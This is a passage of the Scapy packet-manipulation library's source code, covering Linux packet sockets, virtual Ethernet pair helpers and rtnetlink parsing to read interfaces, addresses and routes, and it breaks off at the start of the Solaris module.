if_data = iface.copy() if_data.update({ "network_name": iface["name"], "description": iface["name"], "ips": [x["address"] for x in iface["ips"]] }) data[iface["name"]] = NetworkInterface(self, if_data) return data conf.ifaces.register_provider(LinuxInterfaceProvider) if os.uname()[4] in ['x86_64', 'aarch64']: def get_last_packet_timestamp(sock): # type: (socket.socket) -> float ts = ioctl(sock, SIOCGSTAMP, "1234567890123456") # type: ignore s, us = struct.unpack("QQ", ts) # type: Tuple[int, int] return s + us / 1000000.0 else: def get_last_packet_timestamp(sock): # type: (socket.socket) -> float ts = ioctl(sock, SIOCGSTAMP, "12345678") # type: ignore s, us = struct.unpack("II", ts) # type: Tuple[int, int] return s + us / 1000000.0 def _flush_fd(fd): # type: (int) -> None while True: r, w, e = select([fd], [], [], 0) if r: os.read(fd, MTU) else: break class L2Socket(SuperSocket): desc = "read/write packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface=None, # type: Optional[Union[str, NetworkInterface]] type=ETH_P_ALL, # type: int promisc=None, # type: Optional[Any] filter=None, # type: Optional[Any] nofilter=0, # type: int monitor=None, # type: Optional[Any] ): # type: (...) -> None self.iface = network_name(iface or conf.iface) self.type = type self.promisc = conf.sniff_promisc if promisc is None else promisc self.ins = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: try: attach_filter(self.ins, filter, self.iface) except (ImportError, Scapy_Exception) as ex: raise Scapy_Exception("Cannot set filter: %s" % ex) if self.promisc: set_promisc(self.ins, self.iface) self.ins.bind((self.iface, type)) _flush_fd(self.ins.fileno()) self.ins.setsockopt( socket.SOL_SOCKET, socket.SO_RCVBUF, conf.bufsize ) # Receive Auxiliary Data (VLAN tags) try: self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1) self.ins.setsockopt(socket.SOL_SOCKET, SO_TIMESTAMPNS, 1) self.auxdata_available = True except OSError: # Note: Auxiliary Data is only supported since # Linux 2.6.21 msg = "Your Linux Kernel does not support Auxiliary Data!" log_runtime.info(msg) if not isinstance(self, L2ListenSocket): self.outs = self.ins # type: socket.socket self.outs.setsockopt( socket.SOL_SOCKET, socket.SO_SNDBUF, conf.bufsize ) else: self.outs = None # type: ignore sa_ll = self.ins.getsockname() if sa_ll[3] in conf.l2types: self.LL = conf.l2types.num2layer[sa_ll[3]] self.lvl = 2 elif sa_ll[1] in conf.l3types: self.LL = conf.l3types.num2layer[sa_ll[1]] self.lvl = 3 else: self.LL = conf.default_l2 self.lvl = 2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], self.LL.name) # noqa: E501 def close(self): # type: () -> None if self.closed: return try: if self.promisc and getattr(self, "ins", None): set_promisc(self.ins, self.iface, 0) except (AttributeError, OSError, ValueError): pass SuperSocket.close(self) def recv_raw(self, x=MTU): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Receives a packet, then returns a tuple containing (cls, pkt_data, time)""" # noqa: E501 pkt, sa_ll, ts = self._recv_raw(self.ins, x) if self.outs and sa_ll[2] == socket.PACKET_OUTGOING: return None, None, None if ts is None: ts = get_last_packet_timestamp(self.ins) return self.LL, pkt, ts def send(self, x): # type: (Packet) -> int try: return SuperSocket.send(self, x) except socket.error as msg: if msg.errno == 22 and len(x) < conf.min_pkt_size: padding = b"\x00" * (conf.min_pkt_size - len(x)) if isinstance(x, Packet): return SuperSocket.send(self, x / Padding(load=padding)) else: return SuperSocket.send(self, raw(x) + padding) raise class L2ListenSocket(L2Socket): desc = "read packets at layer 2 using Linux PF_PACKET sockets. Also receives the packets going OUT" # noqa: E501 def send(self, x): # type: (Packet) -> NoReturn raise Scapy_Exception("Can't send anything with L2ListenSocket") class L3PacketSocket(L2Socket): desc = "read/write packets at layer 3 using Linux PF_PACKET sockets" def __init__(self, iface=None, # type: Optional[Union[str, NetworkInterface]] type=ETH_P_ALL, # type: int promisc=None, # type: Optional[Any] filter=None, # type: Optional[Any] nofilter=0, # type: int monitor=None, # type: Optional[Any] ): self.send_socks = {} super(L3PacketSocket, self).__init__( iface=iface, type=type, promisc=promisc, filter=filter, nofilter=nofilter, monitor=monitor, ) self.filter = filter self.send_socks = {network_name(self.iface): self} def recv(self, x=MTU, **kwargs): # type: (int, **Any) -> Optional[Packet] pkt = SuperSocket.recv(self, x, **kwargs) if pkt and self.lvl == 2: pkt.payload.time = pkt.time return pkt.payload return pkt def send(self, x): # type: (Packet) -> int # Select the file descriptor to send the packet on. iff = x.route()[0] if iff is None: iff = network_name(conf.iface) type_x = type(x) if iff not in self.send_socks: self.send_socks[iff] = L3PacketSocket( iface=iff, type=conf.l3types.layer2num.get(type_x, self.type), filter=self.filter, promisc=self.promisc, ) sock = self.send_socks[iff] fd = sock.outs if sock.lvl == 3: if not issubclass(sock.LL, type_x): warning("Incompatible L3 types detected using %s instead of %s !", type_x, sock.LL) sock.LL = type_x if sock.lvl == 2: sx = bytes(sock.LL() / x) else: sx = bytes(x) # Now send. try: x.sent_time = time.time() except AttributeError: pass try: return fd.send(sx) except socket.error as msg: if msg.errno == 22 and len(sx) < conf.min_pkt_size: return fd.send( sx + b"\x00" * (conf.min_pkt_size - len(sx)) ) elif conf.auto_fragment and msg.errno == 90: i = 0 for p in x.fragment(): i += fd.send(bytes(self.LL() / p)) return i else: raise @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] socks = [] # type: List[SuperSocket] for sock in sockets: if isinstance(sock, L3PacketSocket): socks += sock.send_socks.values() else: socks.append(sock) return L2Socket.select(socks, remain=remain) def close(self): # type: () -> None if self.closed: return super(L3PacketSocket, self).close() for fd in self.send_socks.values(): if fd is not self: fd.close() class VEthPair(object): """ encapsulates a virtual Ethernet interface pair """ def __init__(self, iface_name, peer_name): # type: (str, str) -> None if not LINUX: # ToDo: do we need a kernel version check here? raise ScapyInvalidPlatformException( 'Virtual Ethernet interface pair only available on Linux' ) self.ifaces = [iface_name, peer_name] def iface(self): # type: () -> str return self.ifaces[0] def peer(self): # type: () -> str return self.ifaces[1] def setup(self): # type: () -> None """ create veth pair links :raises subprocess.CalledProcessError if operation fails """ subprocess.check_call(['ip', 'link', 'add', self.ifaces[0], 'type', 'veth', 'peer', 'name', self.ifaces[1]]) # noqa: E501 def destroy(self): # type: () -> None """ remove veth pair links :raises subprocess.CalledProcessError if operation fails """ subprocess.check_call(['ip', 'link', 'del', self.ifaces[0]]) def up(self): # type: () -> None """ set veth pair links up :raises subprocess.CalledProcessError if operation fails """ for idx in [0, 1]: subprocess.check_call(["ip", "link", "set", self.ifaces[idx], "up"]) # noqa: E501 def down(self): # type: () -> None """ set veth pair links down :raises subprocess.CalledProcessError if operation fails """ for idx in [0, 1]: subprocess.check_call(["ip", "link", "set", self.ifaces[idx], "down"]) # noqa: E501 def __enter__(self): # type: () -> VEthPair self.setup() self.up() conf.ifaces.reload() return self def __exit__(self, exc_type, exc_val, exc_tb): # type: (Any, Any, Any) -> None self.destroy() conf.ifaces.reload() ================================================ FILE: scapy/arch/linux/rtnetlink.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ This file implements the rtnetlink API that is used to read the network configuration of the machine. """ import socket import struct import time import scapy.utils6 from scapy.consts import BIG_ENDIAN from scapy.config import conf from scapy.error import log_loading from scapy.packet import ( Packet, bind_layers, ) from scapy.utils import atol, itom from scapy.fields import ( ByteEnumField, ByteField, EnumField, Field, FieldLenField, FlagsField, IP6Field, IPField, LenField, MACField, MayEnd, MultipleTypeField, PacketListField, PadField, StrLenField, XStrLenField, ) from scapy.arch.common import _iff_flags # Typing imports from typing import ( Any, Dict, List, Optional, Tuple, Type, ) # from and # Common header class rtmsghdr(Packet): fields_desc = [ LenField("nlmsg_len", None, fmt="=L"), EnumField( "nlmsg_type", 0, { # netlink.h 3: "NLMSG_DONE", # rtnetlink.h 16: "RTM_NEWLINK", 17: "RTM_DELLINK", 18: "RTM_GETLINK", 19: "RTM_SETLINK", 20: "RTM_NEWADDR", 21: "RTM_DELADDR", 22: "RTM_GETADDR", # 23: unused 24: "RTM_NEWROUTE", 25: "RTM_DELROUTE", 26: "RTM_GETROUTE", # 27: unused }, fmt="=H", ), FlagsField( "nlmsg_flags", 0, 16 if BIG_ENDIAN else -16, { 0x01: "NLM_F_REQUEST", 0x02: "NLM_F_MULTI", 0x04: "NLM_F_ACK", 0x08: "NLM_F_ECHO", 0x10: "NLM_F_DUMP_INTR", 0x20: "NLM_F_DUMP_FILTERED", # GET modifiers 0x100: "NLM_F_ROOT", 0x200: "NLM_F_MATCH", 0x400: "NLM_F_ATOMIC", }, ), Field("nlmsg_seq", 0, fmt="=L"), Field("nlmsg_pid", 0, fmt="=L"), ] def post_build(self, pkt: bytes, pay: bytes) -> bytes: pkt += pay if self.nlmsg_len is None: pkt = struct.pack("=L", len(pkt)) + pkt[4:] return pkt def extract_padding(self, s: bytes) -> Tuple[bytes, Optional[bytes]]: return s[: self.nlmsg_len - 16], s[self.nlmsg_len - 16 :] def answers(self, other: Packet) -> bool: return bool(other.nlmsg_seq == self.nlmsg_seq) # DONE class nlmsgerr_rtattr(Packet): fields_desc = [ FieldLenField( "rta_len", None, length_of="rta_data", fmt="=H", adjust=lambda _, x: x + 4 ), EnumField( "rta_type", 0, {}, fmt="=H", ), PadField( MultipleTypeField( [], StrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4, ), ), align=4, ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class nlmsgerr(Packet): fields_desc = [ MayEnd(Field("status", 0, fmt="=L")), # Pay PacketListField("data", [], nlmsgerr_rtattr), ] bind_layers(rtmsghdr, nlmsgerr, nlmsg_type=3) # LINK messages class ifla_af_spec_inet_rtattr(Packet): fields_desc = [ FieldLenField( "rta_len", None, length_of="rta_data", fmt="=H", adjust=lambda _, x: x + 4 ), EnumField( "rta_type", 0, { 0x00: "IFLA_INET_UNSPEC", 0x01: "IFLA_INET_CONF", }, fmt="=H", ), PadField( MultipleTypeField( [], XStrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4, ), ), align=4, ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class ifla_af_spec_inet6_rtattr(Packet): fields_desc = [ FieldLenField( "rta_len", None, length_of="rta_data", fmt="=H", adjust=lambda _, x: x + 4 ), EnumField( "rta_type", 0, { 0x00: "IFLA_INET6_UNSPEC", 0x01: "IFLA_INET6_FLAGS", 0x02: "IFLA_INET6_CONF", 0x03: "IFLA_INET6_STATS", 0x04: "IFLA_INET6_MCAST", 0x05: "IFLA_INET6_CACHEINFO", 0x06: "IFLA_INET6_ICMP6STATS", 0x07: "IFLA_INET6_TOKEN", 0x08: "IFLA_INET6_ADDR_GEN_MODE", 0x09: "IFLA_INET6_RA_MTU", }, fmt="=H", ), PadField( MultipleTypeField( [], XStrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4, ), ), align=4, ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class ifla_af_spec_rtattr(Packet): fields_desc = [ FieldLenField( "rta_len", None, length_of="rta_data", fmt="=H", adjust=lambda _, x: x + 4 ), EnumField("rta_type", 0, socket.AddressFamily, fmt="=H"), PadField( MultipleTypeField( [ ( # AF_INET PacketListField( "rta_data", [], ifla_af_spec_inet_rtattr, length_from=lambda pkt: pkt.rta_len - 4, ), lambda pkt: pkt.rta_type == 2, ), ( # AF_INET6 PacketListField( "rta_data", [], ifla_af_spec_inet6_rtattr, length_from=lambda pkt: pkt.rta_len - 4, ), lambda pkt: pkt.rta_type == 10, ), ], XStrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4, ), ), align=4, ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class ifinfomsg_rtattr(Packet): fields_desc = [ FieldLenField( "rta_len", None, length_of="rta_data", fmt="=H", adjust=lambda _, x: x + 4 ), EnumField( "rta_type", 0, { 0x00: "IFLA_UNSPEC", 0x01: "IFLA_ADDRESS", 0x02: "IFLA_BROADCAST", 0x03: "IFLA_IFNAME", 0x04: "IFLA_MTU", 0x05: "IFLA_LINK", 0x06: "IFLA_QDISC", 0x07: "IFLA_STATS", 0x08: "IFLA_COST", 0x09: "IFLA_PRIORITY", 0x0A: "IFLA_MASTER", 0x0B: "IFLA_WIRELESS", 0x0C: "IFLA_PROTINFO", 0x0D: "IFLA_TXQLEN", 0x0E: "IFLA_MAP", 0x0F: "IFLA_WEIGHT", 0x10: "IFLA_OPERSTATE", 0x11: "IFLA_LINKMODE", 0x12: "IFLA_LINKINFO", 0x13: "IFLA_NET_NS_PID", 0x14: "IFLA_IFALIAS", 0x15: "IFLA_NUM_VS", 0x16: "IFLA_VFINFO_LIST", 0x17: "IFLA_STATS64", 0x18: "IFLA_VF_PORTS", 0x19: "IFLA_PORT_SELF", 0x1A: "IFLA_AF_SPEC", 0x1B: "IFLA_GROUP", 0x1C: "IFLA_NET_NS_FD", 0x1D: "IFLA_EXT_MASK", 0x1E: "IFLA_PROMISCUITY", 0x1F: "IFLA_NUM_TX_QUEUES", 0x20: "IFLA_NUM_RX_QUEUES", 0x21: "IFLA_CARRIER", 0x22: "IFLA_PHYS_PORT_ID", 0x23: "IFLA_CARRIER_CHANGES", 0x24: "IFLA_PHYS_SWITCH_ID", 0x25: "IFLA_LINK_NETNSID", 0x26: "IFLA_PHYS_PORT_NAME", 0x27: "IFLA_PROTO_DOWN", 0x28: "IFLA_GSO_MAX_SEGS", 0x29: "IFLA_GSO_MAX_SIZE", 0x2A: "IFLA_PAD", 0x2B: "IFLA_XDP", 0x2C: "IFLA_EVENT", 0x2D: "IFLA_NEW_NETNSID", 0x2E: "IFLA_IF_NETNSID", 0x2F: "IFLA_CARRIER_UP_COUNT", 0x30: "IFLA_CARRIER_DOWN_COUNT", 0x31: "IFLA_NEW_IFINDEX", 0x32: "IFLA_MIN_MTU", 0x33: "IFLA_MAX_MTU", 0x34: "IFLA_PROP_LIST", 0x35: "IFLA_ALT_IFNAME", 0x36: "IFLA_PERM_ADDRESS", 0x37: "IFLA_PROTO_DOWN_REASON", 0x38: "IFLA_PARENT_DEV_NAME", 0x39: "IFLA_PARENT_DEV_BUS_NAME", 0x3A: "IFLA_GRO_MAX_SIZE", 0x3B: "IFLA_TSO_MAX_SIZE", 0x3C: "IFLA_TSO_MAX_SEGS", 0x3D: "IFLA_ALLMULTI", }, fmt="=H", ), PadField( MultipleTypeField( [ ( # IFLA_ADDRESS MACField("rta_data", "00:00:00:00:00:00"), lambda pkt: pkt.rta_type in [0x01, 0x36], ), ( # IFLA_IFNAME StrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4 ), lambda pkt: pkt.rta_type in [0x03], ), ( # IFLA_AF_SPEC PacketListField( "rta_data", [], ifla_af_spec_rtattr, length_from=lambda pkt: pkt.rta_len - 4, ), lambda pkt: pkt.rta_type == 0x1A, ), ], XStrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4, ), ), align=4, ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class ifinfomsg(Packet): fields_desc = [ ByteEnumField("ifi_family", 0, socket.AddressFamily), ByteField("res", 0), Field("ifi_type", 0, fmt="=H"), Field("ifi_index", 0, fmt="=i"), FlagsField( "ifi_flags", 0, 32 if BIG_ENDIAN else -32, _iff_flags, ), Field("ifi_change", 0, fmt="=I"), # Pay PacketListField("data", [], ifinfomsg_rtattr), ] bind_layers(rtmsghdr, ifinfomsg, nlmsg_type=16) bind_layers(rtmsghdr, ifinfomsg, nlmsg_type=17) bind_layers(rtmsghdr, ifinfomsg, nlmsg_type=18) bind_layers(rtmsghdr, ifinfomsg, nlmsg_type=19) # ADDR messages class ifaddrmsg_rtattr(Packet): fields_desc = [ FieldLenField( "rta_len", None, length_of="rta_data", fmt="=H", adjust=lambda _, x: x + 4 ), EnumField( "rta_type", 0, { 0x00: "IFA_UNSPEC", 0x01: "IFA_ADDRESS", 0x02: "IFA_LOCAL", 0x03: "IFA_LABEL", 0x04: "IFA_BROADCAST", 0x05: "IFA_ANYCAST", 0x06: "IFA_CACHEINFO", 0x07: "IFA_MULTICAST", 0x08: "IFA_FLAGS", 0x09: "IFA_RT_PRIORITY", 0x0A: "IFA_TARGET_NETNSID", 0x0B: "IFA_PROTO", }, fmt="=H", ), PadField( MultipleTypeField( [ # IFA_ADDRESS, IFA_LOCAL, IFA_BROADCAST ( IPField("rta_data", "0.0.0.0"), lambda pkt: pkt.parent and pkt.parent.ifa_family == 2 and pkt.rta_type in [0x01, 0x02, 0x04], ), ( IP6Field("rta_data", "::"), lambda pkt: pkt.parent and pkt.parent.ifa_family == 10 and pkt.rta_type in [0x01, 0x02, 0x04], ), ( # IFA_LABEL StrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4 ), lambda pkt: pkt.rta_type in [0x03], ), ], XStrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4, ), ), align=4, ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class ifaddrmsg(Packet): fields_desc = [ ByteEnumField("ifa_family", 0, socket.AddressFamily), ByteField("ifa_prefixlen", 0), FlagsField( "ifa_flags", 0, -8, { 0x01: "IFA_F_SECONDARY", 0x02: "IFA_F_NODAD", 0x04: "IFA_F_OPTIMISTIC", 0x08: "IFA_F_DADFAILED", 0x10: "IFA_F_HOMEADDRESS", 0x20: "IFA_F_DEPRECATED", 0x40: "IFA_F_TENTATIVE", 0x80: "IFA_F_PERMANENT", }, ), ByteField("ifa_scope", 0), Field("ifa_index", 0, fmt="=L"), # Pay PacketListField("data", [], ifaddrmsg_rtattr), ] bind_layers(rtmsghdr, ifaddrmsg, nlmsg_type=20) bind_layers(rtmsghdr, ifaddrmsg, nlmsg_type=21) bind_layers(rtmsghdr, ifaddrmsg, nlmsg_type=22) # ROUTE messages RT_CLASS = { 0: "RT_TABLE_UNSPEC", 252: "RT_TABLE_COMPAT", 253: "RT_TABLE_DEFAULT", 254: "RT_TABLE_MAIN", 255: "RT_TABLE_LOCAL", } class rtmsg_rtattr(Packet): fields_desc = [ FieldLenField( "rta_len", None, length_of="rta_data", fmt="=H", adjust=lambda _, x: x + 4 ), EnumField( "rta_type", 0, { 0x00: "RTA_UNSPEC", 0x01: "RTA_DST", 0x02: "RTS_SRC", 0x03: "RTS_IIF", 0x04: "RTS_OIF", 0x05: "RTA_GATEWAY", 0x06: "RTA_PRIORITY", 0x07: "RTA_PREFSRC", 0x08: "RTA_METRICS", 0x09: "RTA_MULTIPATH", 0x0B: "RTA_FLOW", 0x0C: "RTA_CACHEINFO", 0x0F: "RTA_TABLE", 0x10: "RTA_MARK", 0x11: "RTA_MFC_STATS", 0x12: "RTA_VIA", 0x13: "RTA_NEWDST", 0x14: "RTA_PREF", 0x15: "RTA_ENCAP_TYPE", 0x16: "RTA_ENCAP", 0x17: "RTA_EXPIRES", 0x18: "RTA_PAD", 0x19: "RTA_UID", 0x1A: "RTA_TTL_PROPAGATE", 0x1B: "RTA_IP_PROTO", 0x1C: "RTA_SPORT", 0x1D: "RTA_DPORT", 0x1E: "RTA_NH_ID", }, fmt="=H", ), PadField( MultipleTypeField( [ # RTA_DST, RTA_SRC, RTA_PREFSRC, RTA_GATEWAY ( IPField("rta_data", "0.0.0.0"), lambda pkt: pkt.parent and pkt.parent.rtm_family == 2 and pkt.rta_type in [0x01, 0x02, 0x05, 0x07], ), ( IP6Field("rta_data", "::"), lambda pkt: pkt.parent and pkt.parent.rtm_family == 10 and pkt.rta_type in [0x01, 0x02, 0x05, 0x07], ), # RTS_OIF, RTA_PRIORITY ( Field("rta_data", 0, fmt="=I"), lambda pkt: pkt.rta_type in [0x04, 0x06, 0x10], ), # RTA_TABLE ( EnumField("rta_data", 0, RT_CLASS, fmt="=I"), lambda pkt: pkt.rta_type in [0x0F], ), ], XStrLenField( "rta_data", b"", length_from=lambda pkt: pkt.rta_len - 4, ), ), align=4, ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class rtmsg(Packet): fields_desc = [ ByteEnumField("rtm_family", 0, socket.AddressFamily), ByteField("rtm_dst_len", 0), ByteField("rtm_src_len", 0), ByteField("rtm_tos", 0), ByteEnumField( "rtm_table", 0, RT_CLASS, ), ByteEnumField( "rtm_protocol", 0, { 0x00: "RTPROT_UNSPEC", 0x01: "RTPROT_REDIRECT", 0x02: "RTPROT_KERNEL", 0x03: "RTPROT_BOOT", 0x04: "RTPROT_STATIC", }, ), ByteEnumField( "rtm_scope", 0, { 0: "RT_SCOPE_UNIVERSE", 200: "RT_SCOPE_SITE", 253: "RT_SCOPE_LINK", 254: "RT_SCOPE_HOST", 255: "RT_SCOPE_NOWHERE", }, ), ByteEnumField( "rtm_type", 0, { 0x00: "RTN_UNSPEC", 0x01: "RTN_UNICAST", 0x02: "RTN_LOCAL", 0x03: "RTN_BROADCAST", 0x04: "RTN_ANYCAST", 0x05: "RTN_MULTICAST", 0x06: "RTN_BLACKHOLE", 0x07: "RTN_UNREACHABLE", 0x08: "RTN_PROHIBIT", 0x09: "RTN_THROW", 0x0A: "RTN_NAT", 0x0B: "RTN_XRESOLVE", }, ), FlagsField( "rtm_flags", 0, 32 if BIG_ENDIAN else -32, { 0x100: "RTM_F_NOTIFY", 0x200: "RTM_F_CLONED", 0x400: "RTM_F_EQUALIZE", 0x800: "RTM_F_PREFIX", 0x1000: "RTM_F_LOOKUP_TABLE", 0x2000: "RTM_F_FIB_MATCH", 0x4000: "RTM_F_OFFLOAD", 0x8000: "RTM_F_TRAP", 0x20000000: "RTM_F_OFFLOAD_FAILED", }, ), # Pay PacketListField("data", [], rtmsg_rtattr), ] bind_layers(rtmsghdr, rtmsg, nlmsg_type=24) bind_layers(rtmsghdr, rtmsg, nlmsg_type=25) bind_layers(rtmsghdr, rtmsg, nlmsg_type=26) class rtmsghdrs(Packet): fields_desc = [ PacketListField( "msgs", [], rtmsghdr, # 65535 / len(rtmsghdr) max_count=4096, ), ] # Utils SOL_NETLINK = 270 NETLINK_EXT_ACK = 11 NETLINK_GET_STRICT_CHK = 12 def _sr1_rtrequest(pkt: Packet) -> List[Packet]: """ Send / Receive a rtnetlink request """ # Create socket sock = socket.socket( socket.AF_NETLINK, socket.SOCK_RAW | socket.SOCK_CLOEXEC, socket.NETLINK_ROUTE, ) # Configure socket sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 32768) sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1048576) try: sock.setsockopt(SOL_NETLINK, NETLINK_EXT_ACK, 1) except OSError: # Linux 4.12+ only pass sock.bind((0, 0)) # bind to kernel try: sock.setsockopt(SOL_NETLINK, NETLINK_GET_STRICT_CHK, 1) except OSError: # Linux 4.20+ only pass # Request routes sock.send(bytes(rtmsghdrs(msgs=[pkt]))) results: List[Packet] = [] try: while True: msgs = rtmsghdrs(sock.recv(65535)) if not msgs: log_loading.warning("Failed to read the routes using RTNETLINK !") return [] for msg in msgs.msgs: # Keep going until we find the end of the MULTI format if not msg.nlmsg_flags.NLM_F_MULTI or msg.nlmsg_type == 3: if msg.nlmsg_type == 3 and nlmsgerr in msg and msg.status != 0: # NLMSG_DONE with errors if msg.data and msg.data[0].rta_type == 1: log_loading.debug( "Scapy RTNETLINK error on %s: '%s'. Please report !", pkt.sprintf("%nlmsg_type%"), msg.data[0].rta_data.decode(), ) return [] return results results.append(msg) finally: sock.close() def _get_ips(af_family=socket.AF_UNSPEC): # type: (socket.AddressFamily) -> Dict[int, List[Dict[str, Any]]] """ Return a mapping of all interfaces IP using a NETLINK socket. """ results = _sr1_rtrequest( rtmsghdr( nlmsg_type="RTM_GETADDR", nlmsg_flags="NLM_F_REQUEST+NLM_F_ROOT+NLM_F_MATCH", nlmsg_seq=int(time.time()), ) / ifaddrmsg( ifa_family=af_family, data=[], ) ) ips: Dict[int, List[Dict[str, Any]]] = {} for msg in results: ifindex = msg.ifa_index address = None family = msg.ifa_family local = None for attr in msg.data: if attr.rta_type == 0x01: # IFA_ADDRESS address = attr.rta_data elif attr.rta_type == 0x02: # IFA_LOCAL local = attr.rta_data # include/uapi/linux/if_addr.h: for point-to-point links, IFA_LOCAL is the local # interface address and IFA_ADDRESS is the peer address local_address = local if local is not None else address if local_address is not None: data = { "af_family": family, "index": ifindex, "address": local_address, } if family == 10: # ipv6 data["scope"] = scapy.utils6.in6_getscope(local_address) ips.setdefault(ifindex, list()).append(data) return ips def _get_if_list(): # type: () -> Dict[int, Dict[str, Any]] """ Read the interfaces list using a NETLINK socket. """ results = _sr1_rtrequest( rtmsghdr( nlmsg_type="RTM_GETLINK", nlmsg_flags="NLM_F_REQUEST+NLM_F_ROOT+NLM_F_MATCH", nlmsg_seq=int(time.time()), ) / ifinfomsg( data=[], ) ) lifips = _get_ips() interfaces = {} for msg in results: ifindex = msg.ifi_index ifname = None mac = "00:00:00:00:00:00" itype = msg.ifi_type ifflags = msg.ifi_flags ips = [] for attr in msg.data: if attr.rta_type == 0x01: # IFLA_ADDRESS mac = attr.rta_data elif attr.rta_type == 0x03: # IFLA_NAME ifname = attr.rta_data[:-1].decode() if ifname is not None: if ifindex in lifips: ips = lifips[ifindex] interfaces[ifindex] = { "name": ifname, "index": ifindex, "flags": ifflags, "mac": mac, "type": itype, "ips": ips, } return interfaces def in6_getifaddr(): # type: () -> List[Tuple[str, int, str]] """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'iface'. This is the list of all addresses of all interfaces available on the system. """ ips = _get_ips(af_family=socket.AF_INET6) ifaces = _get_if_list() result = [] for intip in ips.values(): for ip in intip: if ip["index"] in ifaces: result.append((ip["address"], ip["scope"], ifaces[ip["index"]]["name"])) return result def _read_routes(af_family): # type: (socket.AddressFamily) -> List[Packet] """ Read routes using a NETLINK socket. """ results = [] for rttable in ["RT_TABLE_LOCAL", "RT_TABLE_MAIN"]: results.extend( _sr1_rtrequest( rtmsghdr( nlmsg_type="RTM_GETROUTE", nlmsg_flags="NLM_F_REQUEST+NLM_F_ROOT+NLM_F_MATCH", nlmsg_seq=int(time.time()), ) / rtmsg( rtm_family=af_family, data=[ rtmsg_rtattr(rta_type="RTA_TABLE", rta_data=rttable), ], ) ) ) return [msg for msg in results if msg.nlmsg_type == 24] # RTM_NEWROUTE def read_routes(): # type: () -> List[Tuple[int, int, str, str, str, int]] """ Read IPv4 routes for current process """ routes = [] ifaces = _get_if_list() results = _read_routes(socket.AF_INET) for msg in results: # Omit stupid answers (some OS conf appears to lead to this) if msg.rtm_family != socket.AF_INET: continue # Process the RTM_NEWROUTE net = 0 mask = itom(msg.rtm_dst_len) gw = "0.0.0.0" iface = "" addr = "0.0.0.0" metric = 0 for attr in msg.data: if attr.rta_type == 0x01: # RTA_DST net = atol(attr.rta_data) elif attr.rta_type == 0x04: # RTS_OIF index = attr.rta_data if index in ifaces: iface = ifaces[index]["name"] else: iface = str(index) elif attr.rta_type == 0x05: # RTA_GATEWAY gw = attr.rta_data elif attr.rta_type == 0x06: # RTA_PRIORITY metric = attr.rta_data elif attr.rta_type == 0x07: # RTA_PREFSRC addr = attr.rta_data routes.append((net, mask, gw, iface, addr, metric)) # Add multicast routes, as those are missing by default for _iface in ifaces.values(): if _iface['flags'].MULTICAST: try: addr = next( x["address"] for x in _iface["ips"] if x["af_family"] == socket.AF_INET ) except StopIteration: continue routes.append(( 0xe0000000, 0xf0000000, "0.0.0.0", _iface["name"], addr, 250 )) return routes def read_routes6(): # type: () -> List[Tuple[str, int, str, str, List[str], int]] """ Read IPv6 routes for current process """ routes = [] ifaces = _get_if_list() results = _read_routes(socket.AF_INET6) lifaddr = _get_ips(af_family=socket.AF_INET6) for msg in results: # Omit stupid answers (some OS conf appears to lead to this) if msg.rtm_family != socket.AF_INET6: continue # Process the RTM_NEWROUTE prefix = "::" plen = msg.rtm_dst_len nh = "::" index = 0 iface = "" metric = 0 for attr in msg.data: if attr.rta_type == 0x01: # RTA_DST prefix = attr.rta_data elif attr.rta_type == 0x04: # RTS_OIF index = attr.rta_data if index in ifaces: iface = ifaces[index]["name"] else: iface = str(index) elif attr.rta_type == 0x05: # RTA_GATEWAY nh = attr.rta_data elif attr.rta_type == 0x06: # RTA_PRIORITY metric = attr.rta_data devaddrs = ((x["address"], x["scope"], iface) for x in lifaddr.get(index, [])) cset = scapy.utils6.construct_source_candidate_set(prefix, plen, devaddrs) if cset: routes.append((prefix, plen, nh, iface, cset, metric)) # Add multicast routes, as those are missing by default for _iface in ifaces.values(): if _iface['flags'].MULTICAST: addrs = [ x["address"] for x in _iface["ips"] if x["af_family"] == socket.AF_INET6 ] if not addrs: continue routes.append(( "ff00::", 8, "::", _iface["name"], addrs, 250 )) return routes ================================================ FILE: scapy/arch/solaris.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Customization for the Solaris operation system. """ import socket from scapy.config import conf conf.use_pcap = True # IPPROTO_GRE is missing on Solaris socket.IPPROTO_GRE = 47 # From sys/sockio.h and net/if.h SIOCGIFHWADDR = 0xc02069b9 # Get hardware address from scapy.arch.common import get_if_raw_addr # noqa: F401, F403, E402 from scapy.arch.libpcap import * # noqa: F401, F403, 